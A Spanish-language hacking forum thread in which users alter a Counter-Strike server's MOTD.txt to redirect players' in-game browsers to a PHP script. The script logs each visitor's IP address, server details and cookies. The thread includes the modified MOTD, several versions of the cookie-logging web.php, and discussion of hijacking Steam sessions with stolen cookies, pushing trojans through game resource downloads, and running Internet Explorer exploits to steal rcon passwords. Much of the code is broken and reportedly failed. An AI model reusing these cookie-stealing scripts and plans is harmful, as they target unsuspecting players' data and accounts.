Bueno gente,el que alguna vez tubo un server de counter strike, sabe que el archivo MOTD.txt contiene ese especie de "portada", al iniciarse en un server.
aca el code del MOTD.txt
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>Cstrike MOTD</title>
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
}
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
text-decoration: underline;
}
a:link {
color: #FFFFFF;
}
a:visited {
color: #FFFFFF;
}
a:active {
color: #FFFFFF;
}
a:hover {
color: #FFFFFF;
text-decoration: underline;
}
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.net</a>
</pre>
</body>
</html>Supongo que sabran que significara todo esto, o lo habran visto alguna vez.
Entonces dije, CARAJO, porque no me di cuenta antes, y buen empeze a "tocar" un poco todo y aqui esta el code con los cambios.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
<title>caca</title>
<script>alert("scripting")<script>
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://localhost/web.php?cookie=">
<style type="text/css">
pre {
font-family:Verdana,Tahoma;
color:#FFB000;
}
body {
background:#000000;
margin-left:8px;
margin-top:0px;
}
a {
text-decoration: underline;
}
a:link {
color: #FFFFFF;
}
a:visited {
color: #FFFFFF;
}
a:active {
color: #FFFFFF;
}
a:hover {
color: #FFFFFF;
text-decoration: underline;
}
</style>
</head>
<body scroll="no">
<pre>
You are playing Counter-Strike v1.6
Visit the official CS web site @
www.counter-strike.net
<a href="http://www.counter-strike.net">Visit Counter-Strike.com</a>
</pre>
</body>
</html>le puse que se redireccione, a web.php, para sacar cookies, que todavía no me salio nose porque.
aca web.php:
<html>
<head>
<title>Xss re pillo</html>
</head>
<body>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_GET['cookie'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
?>
<script>window.location='http://localhost/web.php?cookie='+document.cookie;</script>
</body>
</html>y :o, observen archivo.txt
ip-víctima:127.0.0.1 sistema operativo:WINNT -Servidor :localhost
- info del server: Apache/2.2.11 (Win32) PHP/5.3.0
lo probe con un amigo y me da su info
obvio que info del server va a ser mi info jajja
bien se peude sacar info por php, pero ahora la gran pregunta, si tantos navegadores poseen bugs, como mozilla,IE, aunque no sea un navegador completo, seria una especie, tendria que tener bugs si son permitidos tambien estos tipos de cosas.
nadie sabe donde se encuentra el "navegador", donde se carga el MOTD.txt
si alguien tiene ganas de buscar, que tenga un poco mas de idea podemos sacar algo de provecho a esto.
PD:Es una mezcla entre bugs y exploits a nivel web-hacking-y bugs y exploits jajaja
saludos
pero fede, es como un bucle infinito eso, yo diria de hacer algo asi:
este seria el archivo localhost/xss-cs/index.php :
<?php
if (isset($_GET['cookie'])){
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_GET['cookie'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
}else{
header("Location ?cookie=$_SERVER['HTTP_COOKIE']");
}
?>
igual no creo que te de todas las cookies de todas las paginas.
igualmente si las cookies no las tiene, te da la info igual, asique no tiene que estar (isset)
saludos tomii!
pero qué cookies espras que tenga el explorador web integrado del juego... xD
jsutamente queremos saber eso, (me integro en el proyecto :P) como hacer para conseguir todas las cookies que tenga para todas las webs para todos los epxloradores, seria algo con file://// ??? y algo con temp no??
por eso mismo, pregunto, pense que habia una realcion entre ese navegador y porai el IE, o el mozilla, o alguno de los navegadores.
nadie mas tiene idea que se podria hcaer con estooo??
y claro, leer alguno de los archivos temp, como dice castg
habria que conseguir el code del browser
¿nadie sabe donde esta?
saludos
increiblE! lo mismo con cuanto de diferencia? menos de un minuto jajaja
Cita de: cɐstg en 23 Diciembre 2009, 02:04 AM
jsutamente queremos saber eso, (me integro en el proyecto :P) como hacer para conseguir todas las cookies que tenga para todas las webs para todos los epxloradores, seria algo con file://// ??? y algo con temp no??
Cita de: fede_cp en 23 Diciembre 2009, 02:05 AM
por eso mismo, pregunto, pense que habia una realcion entre ese navegador y porai el IE, o el mozilla, o alguno de los navegadores.
nadie mas tiene idea que se podria hcaer con estooo??
saludos
ah nono, disculpen mi terrible ignorancia, como no me di cuenta antes, que tanto bondi con get y eso, mas simple:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_SERVER['HTTP_COOKIE'];
$scuandal = "ip-víctima:" . $ip . " sistema operativo:" . PHP_OS . " -Servidor :" . $_SERVER['SERVER_NAME'] . " [+] info del server: " . $_SERVER['SERVER_SOFTWARE'] . $cookie;
$fff = fopen("archivo.txt","a");
fwrite($fff, "$scuandal \n");
fclose($fff);
?>
ahi no hay drama con nada, si la cookie es grande, si es chica, si es corta, si no lo puso en get si anda. listo. mucho mas facil.
Es lo que probe recien tom, pero no funca, alguien que este mas en el temaaa
saludos
PD:alguna idea buena
De hecho estoy 99% seguro que utilizan ieframe.dll de internet explorer, de hecho también estoy casi seguro de que si interpreta tu redirección entonces también debería interpretar código javascript xD pero no estoy seguro.
No se para que necesitas saber la ip si se supone que el servidor es tuyo y en la consola aparecen las ips conectadas xD pero igual es entrete ver todo eso, hay muchos servidores por ahi con ese contenido modificado para hacerse spam y cosas así.
Esto no es una vuln, es una feature como diría sdc xDDDD
lo que si hubo hace tiempo fue un robo masivo de cuentas por robo de cookies o algo así... kizá consiguieron crackearlas...
por cierto en el counter strike source, estuve investigando ese tema hace tiempo y el explorador que trae si comportía cookies con el iexplore... Lo máximo que se me ocurre es robarle la cookie de inicio de sesion al steamcommunity que se loguea automático... pero esk te sirve de poco si no consigues la password crackeada.
claro, bug o vulnerabilidad seguro que no. porq el pibe entra, sin saberlo, pero elentra. ahora el tema es como sacarlas cookies PERO TODAS. en el caso de que se use esadll, hay posibilidad de conseguir las cookies de firefox??
o directamente, ejecutar un exploit para IE porque lo mas propbable es que use una dll de un IE mas viejo, o usa directamente el que esta instalado en cada pc?,en linux como haria?, a ver que pasa, WHK, lo de la IP fue una prueba, nada para hacer maldades.
entonces crees que no se podria sacar provecho de esto?
saludos
Desde internet explorer no tienes acceso a las cookies de firefox y tampoco necesitas crackear ningúna contraseña si tienes la cookie de sesión del jugador ya que haces un script donde diga que si tu ip corresponde a x.x.x.x entonces te hará document.cookie = ''; donde el valor es el valor de la cookie del otro jugador y pasarás a tener su sesión y podrás hacer las modificaciones que quieras como si estubieras logueado.
Ahora, no se para que se utilizará esa sesión porque lo único que hacía en el counter era entrar, jugar, salir y nada mas xD
claro. eso es lo que queremos hacer. conseguir todas sus cookies para "logearnos" pero no las de el cs si es que tiene cookies sino las de todo! jaja. creo que no se puede, mas siendo el internet esplorer el explorador usado. hoy en dia la mayoria usan el firefox, gracias a dios jejej. bueno gracias a todos, ya vamos a ver como filtrar un archivo cuando entras, vieron que siempre te descarga los sonidos del amx como HEADSHOT y esas cosas, y el mapa tambien descarga. quiero que AUTO-descarge un archivo-troyano. bueno. un saludo.
ah no se puede entonces porque solamente puedes obtener las cookies de la url actual donde se encuentra la página y desde el servidor no puedes dar dos urls ya que es el cliente el que hace la navegación y no tendrías mas acceso que eso. Tampoco podrás obtener las cookies de firefox desde internet explorer.
Lo único que puedes hacer es hacer que alguien abra algún xss dentro de alguna web para obtener la cookie de ese sitio solamente pero no puedes obtenerlas todas y el sitio web tendría que ser vulnerable.
claro, ya que estamos WHK, queria hacerte una pregunta, vos decias que seguramente el counter strike usa la dll del internet explorer, entonces el counter strike para linux es otra version no, pero si usa la dll del IE, usara una dll que se integra en la instalacion o directamente la que se tiene ya instalado en windows, porque si instala un dll de IE, podria ser una version mas vieja, y por ende explotable.
saludos!
AH! TALVEZ USA EL PREDETERMINADO! eso hay que verlo en un linux....
WHK dije :¬¬ jajajjaa
saludos
vamos a ver... por partes (si, se k dijiste whk yo tambien se leer xD )
el css NO SE PUEDE USAR NATIVAMENTE EN LINUX! xD es un juego para windows, la manera en que se puede correr es mediante wine o sucedáneos, es decir... que el juego traerá integrada una dll para realizar la conexión a internet, no creo que confien en que el usuario tenga el iexplore instalado ( en windows se puede desinstalar tambien... )
como vás a robar las cookies de todas las webs jaja
cuando yo dije lo de crackear la cookie, m referia a que teniendo la cookie realmente no puedes hacer casi nada, pq no pueds cambiar la password que es lo unico que te interesa ( el poder acceder a la account de steam)... pero seguramente no esté relacionada la cookie con la pwd...
asi es, que yo sepa no hay ninguna versión del counter para linux, lo que haces es correrlo con wine y dentro de las dependencias de windows incluye esa librería.
ah listo, pero como hay un amx mod para linux yo tambien habia pensado en eso, bueno, gracias atodos por su colaboracion. no es posible robar cokies por el motd, pero si infiltrar achivos cuando carga los recursos :rolleyes: pero eso lo dejamos para otroo posdt. un gran saludo! TEMA CERRADO!
buen comprobado, no sirve de nada sacar las cookies ya que no tienen relacion y tampoco hay cookies, jajaja
saludos gente!
PD:disculpen que se haya armado tremendo post
Saquen la version del navegador que usa con js o el user-agent, asi pueden ver si usa el ie que está instalado u otro. Después se podria usar algun exploit para ie que permita ejecutar codigo y ahi le robas las cookies, lo troyanizas, robas la clave de rcon o lo que quieras... si alguien lo hace, postee los resultados